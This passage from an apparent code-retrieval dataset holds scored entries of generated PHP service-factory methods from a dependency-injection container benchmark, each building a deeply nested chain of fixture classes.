\\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "dcc64466f63d094a008ea207b320a21e", "score": "0.6351995", "text": "protected function getClass89Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class89(new \\DiContainerBenchmarks\\Fixture\\Class88(new \\DiContainerBenchmarks\\Fixture\\Class87(new \\DiContainerBenchmarks\\Fixture\\Class86(new \\DiContainerBenchmarks\\Fixture\\Class85(new \\DiContainerBenchmarks\\Fixture\\Class84(new \\DiContainerBenchmarks\\Fixture\\Class83(new \\DiContainerBenchmarks\\Fixture\\Class82(new \\DiContainerBenchmarks\\Fixture\\Class81(new \\DiContainerBenchmarks\\Fixture\\Class80(new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "2f33e9c477cf3859891fa4c1968ccf77", "score": "0.6349908", "text": "protected function getClass26Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))));\n }", "title": "" }, { "docid": "fad2413001ee75697dac5d05063de6c4", "score": "0.6348386", "text": "protected function getClass29Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "8b8685831cc6aa6b8236fff672b1b173", "score": "0.6340094", "text": "protected function getClass70Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "e57d713ed19d38b03cb073f1d5e0674d", "score": "0.63362366", "text": "protected function getClass52Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "3b04709c9cf14a4d04f3bb1d65f6d190", "score": "0.6327412", "text": "protected function getClass91Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class91(new \\DiContainerBenchmarks\\Fixture\\Class90(new \\DiContainerBenchmarks\\Fixture\\Class89(new \\DiContainerBenchmarks\\Fixture\\Class88(new \\DiContainerBenchmarks\\Fixture\\Class87(new \\DiContainerBenchmarks\\Fixture\\Class86(new \\DiContainerBenchmarks\\Fixture\\Class85(new \\DiContainerBenchmarks\\Fixture\\Class84(new \\DiContainerBenchmarks\\Fixture\\Class83(new \\DiContainerBenchmarks\\Fixture\\Class82(new \\DiContainerBenchmarks\\Fixture\\Class81(new \\DiContainerBenchmarks\\Fixture\\Class80(new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "704451dfd28e343854de422e2fa8e816", "score": "0.6319801", "text": "protected function getClass99Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class99(new \\DiContainerBenchmarks\\Fixture\\Class98(new \\DiContainerBenchmarks\\Fixture\\Class97(new \\DiContainerBenchmarks\\Fixture\\Class96(new \\DiContainerBenchmarks\\Fixture\\Class95(new \\DiContainerBenchmarks\\Fixture\\Class94(new \\DiContainerBenchmarks\\Fixture\\Class93(new \\DiContainerBenchmarks\\Fixture\\Class92(new \\DiContainerBenchmarks\\Fixture\\Class91(new \\DiContainerBenchmarks\\Fixture\\Class90(new \\DiContainerBenchmarks\\Fixture\\Class89(new \\DiContainerBenchmarks\\Fixture\\Class88(new \\DiContainerBenchmarks\\Fixture\\Class87(new \\DiContainerBenchmarks\\Fixture\\Class86(new \\DiContainerBenchmarks\\Fixture\\Class85(new \\DiContainerBenchmarks\\Fixture\\Class84(new \\DiContainerBenchmarks\\Fixture\\Class83(new \\DiContainerBenchmarks\\Fixture\\Class82(new \\DiContainerBenchmarks\\Fixture\\Class81(new \\DiContainerBenchmarks\\Fixture\\Class80(new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "370cece9f5db55c3642c4c075193fb74", "score": "0.63182753", "text": "protected function getClass98Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class98(new \\DiContainerBenchmarks\\Fixture\\Class97(new \\DiContainerBenchmarks\\Fixture\\Class96(new \\DiContainerBenchmarks\\Fixture\\Class95(new \\DiContainerBenchmarks\\Fixture\\Class94(new \\DiContainerBenchmarks\\Fixture\\Class93(new \\DiContainerBenchmarks\\Fixture\\Class92(new \\DiContainerBenchmarks\\Fixture\\Class91(new \\DiContainerBenchmarks\\Fixture\\Class90(new \\DiContainerBenchmarks\\Fixture\\Class89(new \\DiContainerBenchmarks\\Fixture\\Class88(new \\DiContainerBenchmarks\\Fixture\\Class87(new \\DiContainerBenchmarks\\Fixture\\Class86(new \\DiContainerBenchmarks\\Fixture\\Class85(new \\DiContainerBenchmarks\\Fixture\\Class84(new \\DiContainerBenchmarks\\Fixture\\Class83(new \\DiContainerBenchmarks\\Fixture\\Class82(new \\DiContainerBenchmarks\\Fixture\\Class81(new \\DiContainerBenchmarks\\Fixture\\Class80(new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new 